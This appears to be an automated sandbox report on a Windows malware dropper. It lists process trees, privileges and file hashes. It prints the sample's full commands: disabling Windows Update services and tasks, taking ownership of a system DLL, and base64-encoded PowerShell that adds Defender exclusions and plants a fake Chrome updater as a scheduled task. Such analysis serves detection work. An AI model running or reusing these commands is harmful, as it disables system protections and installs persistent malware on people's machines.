powershell.exe Token: SeShutdownPrivilege 2188 powershell.exe Token: SeDebugPrivilege 2188 powershell.exe Token: SeSystemEnvironmentPrivilege 2188 powershell.exe Token: SeRemoteShutdownPrivilege 2188 powershell.exe Token: SeUndockPrivilege 2188 powershell.exe Token: SeManageVolumePrivilege 2188 powershell.exe Token: 33 2188 powershell.exe Token: 34 2188 powershell.exe Token: 35 2188 powershell.exe Token: 36 2188 powershell.exe Token: SeIncreaseQuotaPrivilege 2188 powershell.exe Token: SeSecurityPrivilege 2188 powershell.exe Token: SeTakeOwnershipPrivilege 2188 powershell.exe Token: SeLoadDriverPrivilege 2188 powershell.exe Token: SeSystemProfilePrivilege 2188 powershell.exe Token: SeSystemtimePrivilege 2188 powershell.exe Token: SeProfSingleProcessPrivilege 2188 powershell.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
Processes:
taskmgr.exepid process 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
Processes:
taskmgr.exepid process 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
UnamDownloader.exepid process 3736 UnamDownloader.exe 3736 UnamDownloader.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Malware_Dropper.exeyolo.execmd.execmd.exedescription pid process target process PID 4600 wrote to memory of 3560 4600 Malware_Dropper.exe Malware_Dropper.exe PID 4600 wrote to memory of 3560 4600 Malware_Dropper.exe Malware_Dropper.exe PID 4600 wrote to memory of 3560 4600 Malware_Dropper.exe Malware_Dropper.exe PID 4600 wrote to memory of 3560 4600 Malware_Dropper.exe Malware_Dropper.exe PID 4600 wrote to memory of 3560 4600 Malware_Dropper.exe Malware_Dropper.exe PID 4600 wrote to memory of 3560 4600 Malware_Dropper.exe Malware_Dropper.exe PID 4600 wrote to memory of 3560 4600 Malware_Dropper.exe Malware_Dropper.exe PID 4600 wrote to memory of 3560 4600 Malware_Dropper.exe Malware_Dropper.exe PID 4600 wrote to memory of 3560 4600 Malware_Dropper.exe Malware_Dropper.exe PID 4600 wrote to memory of 3560 4600 Malware_Dropper.exe Malware_Dropper.exe PID 4600 wrote to memory of 5052 4600 Malware_Dropper.exe yolo.exe PID 4600 wrote to memory of 5052 4600 Malware_Dropper.exe yolo.exe PID 4600 wrote to memory of 3736 4600 Malware_Dropper.exe UnamDownloader.exe PID 4600 wrote to memory of 3736 4600 Malware_Dropper.exe UnamDownloader.exe PID 5052 wrote to memory of 1072 5052 yolo.exe powershell.exe PID 5052 wrote to memory of 1072 5052 yolo.exe powershell.exe PID 5052 wrote to memory of 2996 5052 yolo.exe cmd.exe PID 5052 wrote to memory of 2996 5052 yolo.exe cmd.exe PID 5052 wrote to memory of 872 5052 yolo.exe cmd.exe PID 5052 wrote to memory of 872 5052 yolo.exe cmd.exe PID 2996 wrote to memory of 4904 2996 cmd.exe sc.exe PID 2996 wrote to memory of 4904 2996 cmd.exe sc.exe PID 2996 wrote to memory of 3128 2996 cmd.exe sc.exe PID 2996 wrote to memory of 3128 2996 cmd.exe sc.exe PID 872 wrote to memory of 1608 872 cmd.exe powercfg.exe PID 872 wrote to memory of 1608 872 cmd.exe powercfg.exe PID 2996 wrote to memory of 2620 2996 cmd.exe sc.exe PID 2996 wrote to memory of 2620 2996 cmd.exe sc.exe PID 872 wrote to memory of 3376 872 cmd.exe powercfg.exe PID 872 wrote to memory of 3376 872 cmd.exe powercfg.exe PID 2996 wrote to memory of 4432 2996 cmd.exe sc.exe PID 2996 wrote to memory of 4432 2996 cmd.exe sc.exe PID 872 wrote to memory of 4876 872 cmd.exe powercfg.exe PID 872 wrote to memory of 4876 872 cmd.exe powercfg.exe PID 2996 wrote to memory of 448 2996 cmd.exe sc.exe PID 2996 wrote to memory of 448 2996 cmd.exe sc.exe PID 872 wrote to memory of 4720 872 cmd.exe powercfg.exe PID 872 wrote to memory of 4720 872 cmd.exe powercfg.exe PID 2996 wrote to memory of 2008 2996 cmd.exe reg.exe PID 2996 wrote to memory of 2008 2996 cmd.exe reg.exe PID 2996 wrote to memory of 4612 2996 cmd.exe reg.exe PID 2996 wrote to memory of 4612 2996 cmd.exe reg.exe PID 2996 wrote to memory of 5056 2996 cmd.exe reg.exe PID 2996 wrote to memory of 5056 2996 cmd.exe reg.exe PID 2996 wrote to memory of 736 2996 cmd.exe reg.exe PID 2996 wrote to memory of 736 2996 cmd.exe reg.exe PID 2996 wrote to memory of 5060 2996 cmd.exe reg.exe PID 2996 wrote to memory of 5060 2996 cmd.exe reg.exe PID 2996 wrote to memory of 3416 2996 cmd.exe takeown.exe PID 2996 wrote to memory of 3416 2996 cmd.exe takeown.exe PID 2996 wrote to memory of 5036 2996 cmd.exe icacls.exe PID 2996 wrote to memory of 5036 2996 cmd.exe icacls.exe PID 5052 wrote to memory of 2188 5052 yolo.exe powershell.exe PID 5052 wrote to memory of 2188 5052 yolo.exe powershell.exe PID 2996 wrote to memory of 3016 2996 cmd.exe reg.exe PID 2996 wrote to memory of 3016 2996 cmd.exe reg.exe PID 2996 wrote to memory of 1636 2996 cmd.exe reg.exe PID 2996 wrote to memory of 1636 2996 cmd.exe reg.exe PID 2996 wrote to memory of 3464 2996 cmd.exe reg.exe PID 2996 wrote to memory of 3464 2996 cmd.exe reg.exe PID 2996 wrote to memory of 3936 2996 cmd.exe reg.exe PID 2996 wrote to memory of 3936 2996 cmd.exe reg.exe PID 2996 wrote to memory of 3316 2996 cmd.exe schtasks.exe PID 2996 wrote to memory of 3316 2996 cmd.exe schtasks.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\Malware_Dropper.exe"C:\Users\Admin\AppData\Local\Temp\Malware_Dropper.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\yolo.exe"C:\Users\Admin\AppData\Local\Temp\yolo.exe"3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAegAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYQB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGkAdQBhACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAeABrACMAPgA="4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc5⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f5⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f5⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f5⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f5⤵
- Modifies security service
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f5⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f5⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f5⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f5⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f5⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE5⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 04⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdABtACMAPgAgAFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAEEAYwB0AGkAbwBuACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAJwAgAC0AQQByAGcAdQBtAGUAbgB0ACAAJwAtAEUAbgBjAG8AZABlAGQAQwBvAG0AbQBhAG4AZAAgACIAUABBAEEAagBBAEgAUQBBAFkAdwBCAGgAQQBDAE0AQQBQAGcAQQBnAEEARgBNAEEAZABBAEIAaABBAEgASQBBAGQAQQBBAHQAQQBGAEEAQQBjAGcAQgB2AEEARwBNAEEAWgBRAEIAegBBAEgATQBBAEkAQQBBAHQAQQBFAFkAQQBhAFEAQgBzAEEARwBVAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAGMAQQBRAHcAQQA2AEEARgB3AEEAVQBBAEIAeQBBAEcAOABBAFoAdwBCAHkAQQBHAEUAQQBiAFEAQQBnAEEARQBZAEEAYQBRAEIAcwBBAEcAVQBBAGMAdwBCAGMAQQBFAGMAQQBiAHcAQgB2AEEARwBjAEEAYgBBAEIAbABBAEYAdwBBAFEAdwBCAG8AQQBIAEkAQQBiAHcAQgB0AEEARwBVAEEAWABBAEIAMQBBAEgAQQBBAFoAQQBCAGgAQQBIAFEAQQBaAFEAQgB5AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDADAAQQBWAGcAQgBsAEEASABJAEEAWQBnAEEAZwBBAEYASQBBAGQAUQBCAHUAQQBFAEUAQQBjAHcAQQBnAEEARAB3AEEASQB3AEIAagBBAEcAWQBBAFoAUQBCAHMAQQBDAE0AQQBQAGcAQQA9ACIAJwApACAAPAAjAHAAbgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAGgAeAAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGsAdABxAHIAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwAgAC0AVQBzAGUAcgAgACcAUwB5AHMAdABlAG0AJwAgAC0AUgB1AG4ATABlAHYAZQBsACAAJwBIAGkAZwBoAGUAcwB0ACcAIAAtAEYAbwByAGMAZQAgADwAIwB3AHMAIwA+ADsAIABDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAB5AG8AbABvAC4AZQB4AGUAJwAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAA8ACMAaQB2AGsAeQAjAD4AOwAgAFMAdABhAHIAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAA8ACMAbgB3AGgAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwA7AA=="4⤵
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\UnamDownloader.exe"C:\Users\Admin\AppData\Local\Temp\UnamDownloader.exe"3⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /42⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\Malware_Dropper.exe"C:\Users\Admin\AppData\Local\Temp\Malware_Dropper.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -EncodedCommand "PAAjAHQAYwBhACMAPgAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACcAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXAB1AHAAZABhAHQAZQByAC4AZQB4AGUAJwAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwAgADwAIwBjAGYAZQBsACMAPgA="1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAegAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYQB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGkAdQBhACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAeABrACMAPgA="3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
4.1MB
MD5990a78c9a169695677130e6f6aaf4ee4
SHA1d35296a37417a8ae77989aa2728879e79fd89ebf
SHA25614fe55ffc40ffb9393f11ae5d78a2a025b66c14593cd9168ee759bd0bb82fdd5
SHA5120f8495b979171e878b587c59990fee41a9a3e3a4a816ae3ea84bcb203ea7f01d41478eb3acfd571f6147c411e3e6295dea093d37bc763aefe1dec54f7a223b40
-
C:\Program Files\Google\Chrome\updater.exeFilesize
4.1MB
MD5990a78c9a169695677130e6f6aaf4ee4
SHA1d35296a37417a8ae77989aa2728879e79fd89ebf
SHA25614fe55ffc40ffb9393f11ae5d78a2a025b66c14593cd9168ee759bd0bb82fdd5
SHA5120f8495b979171e878b587c59990fee41a9a3e3a4a816ae3ea84bcb203ea7f01d41478eb3acfd571f6147c411e3e6295dea093d37bc763aefe1dec54f7a223b40
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.dbFilesize
28KB
MD5e5dce501081f9acf5bbb7e6319ed679e
SHA183d137d561d203bc8db7dfcc72a9df22b333ea8d
SHA256ff0e1f1545a4d85d57494358c08c2fbfce9c21fc3de072e5be2521f7261a30c2
SHA5123d0ca3aaf23787356f0fe039bd916b69ded42e588db82c1a491f212022e15c505553e8739a0f480a9d44f0fcc5b1e6b9412510c04fd58a6dfc27cd894fa20723
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD52e907f77659a6601fcc408274894da2e
SHA19f5b72abef1cd7145bf37547cdb1b9254b4efe9d
SHA256385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233
SHA51234fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721
-
C:\Users\Admin\AppData\Local\Temp\UnamDownloader.exeFilesize
9.4MB
MD5d506f597b337bb21d0be9638873e1cae
SHA1cf43f7ebe1e2bfeada1d04edee631cfc05eaf9bf
SHA256729ef000683d0903141c1031fb3eeed340a4635a3f0b489d0df396d5065a36e0
SHA512fc833c5a7fce6b577336948e9ddaceac41a4543311de50d79d7edd00bc318c1eba4ad5951fcccd26cfc0fa990ab81a30178d4b2a2968f4a7960a6b73cea2d353
-
C:\Users\Admin\AppData\Local\Temp\UnamDownloader.exeFilesize
9.4MB
MD5d506f597b337bb21d0be9638873e1cae
SHA1cf43f7ebe1e2bfeada1d04edee631cfc05eaf9bf
SHA256729ef000683d0903141c1031fb3eeed340a4635a3f0b489d0df396d5065a36e0
SHA512fc833c5a7fce6b577336948e9ddaceac41a4543311de50d79d7edd00bc318c1eba4ad5951fcccd26cfc0fa990ab81a30178d4b2a2968f4a7960a6b73cea2d353
-
C:\Users\Admin\AppData\Local\Temp\yolo.exeFilesize
4.1MB
MD5990a78c9a169695677130e6f6aaf4ee4
SHA1d35296a37417a8ae77989aa2728879e79fd89ebf
SHA25614fe55ffc40ffb9393f11ae5d78a2a025b66c14593cd9168ee759bd0bb82fdd5
SHA5120f8495b979171e878b587c59990fee41a9a3e3a4a816ae3ea84bcb203ea7f01d41478eb3acfd571f6147c411e3e6295dea093d37bc763aefe1dec54f7a223b40
-
C:\Users\Admin\AppData\Local\Temp\yolo.exeFilesize
4.1MB
MD5990a78c9a169695677130e6f6aaf4ee4
SHA1d35296a37417a8ae77989aa2728879e79fd89ebf
SHA25614fe55ffc40ffb9393f11ae5d78a2a025b66c14593cd9168ee759bd0bb82fdd5
SHA5120f8495b979171e878b587c59990fee41a9a3e3a4a816ae3ea84bcb203ea7f01d41478eb3acfd571f6147c411e3e6295dea093d37bc763aefe1dec54f7a223b40
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD52238871af228384f4b8cdc65117ba9f1
SHA12a200725f1f32e5a12546aa7fd7a8c5906757bd1
SHA256daa246f73567ad176e744abdb82d991dd8cffe0e2d847d2feefeb84f7fa5f882
SHA5121833d508fdbe2b8722b787bfc0c1848a5bcdeb7ec01e94158d78e9e6ceb397a2515d88bb8ca4ec1a810263fc900b5b1ea1d788aa103967ed61436e617fab47bf
-
memory/448-162-0x0000000000000000-mapping.dmp
-
memory/736-167-0x0000000000000000-mapping.dmp
-
memory/852-182-0x0000000000000000-mapping.dmp
-
memory/872-154-0x0000000000000000-mapping.dmp
-
memory/1072-146-0x000001D2D39C0000-0x000001D2D39E2000-memory.dmpFilesize
136KB
-
memory/1072-148-0x00007FFEFC750000-0x00007FFEFD211000-memory.dmpFilesize
10.8MB
-
memory/1072-145-0x0000000000000000-mapping.dmp
-
memory/1072-151-0x00007FFEFC750000-0x00007FFEFD211000-memory.dmpFilesize
10.8MB
-
memory/1072-152-0x00007FFEFC750000-0x00007FFEFD211000-memory.dmpFilesize
10.8MB
-
memory/1608-157-0x0000000000000000-mapping.dmp
-
memory/1636-178-0x0000000000000000-mapping.dmp
-
memory/2008-164-0x0000000000000000-mapping.dmp
-
memory/2172-186-0x0000000000000000-mapping.dmp
-
memory/2188-188-0x00007FFEFC750000-0x00007FFEFD211000-memory.dmpFilesize
10.8MB
-
memory/2188-175-0x00007FFEFC750000-0x00007FFEFD211000-memory.dmpFilesize
10.8MB
-
memory/2188-174-0x00007FFEFC750000-0x00007FFEFD211000-memory.dmpFilesize
10.8MB
-
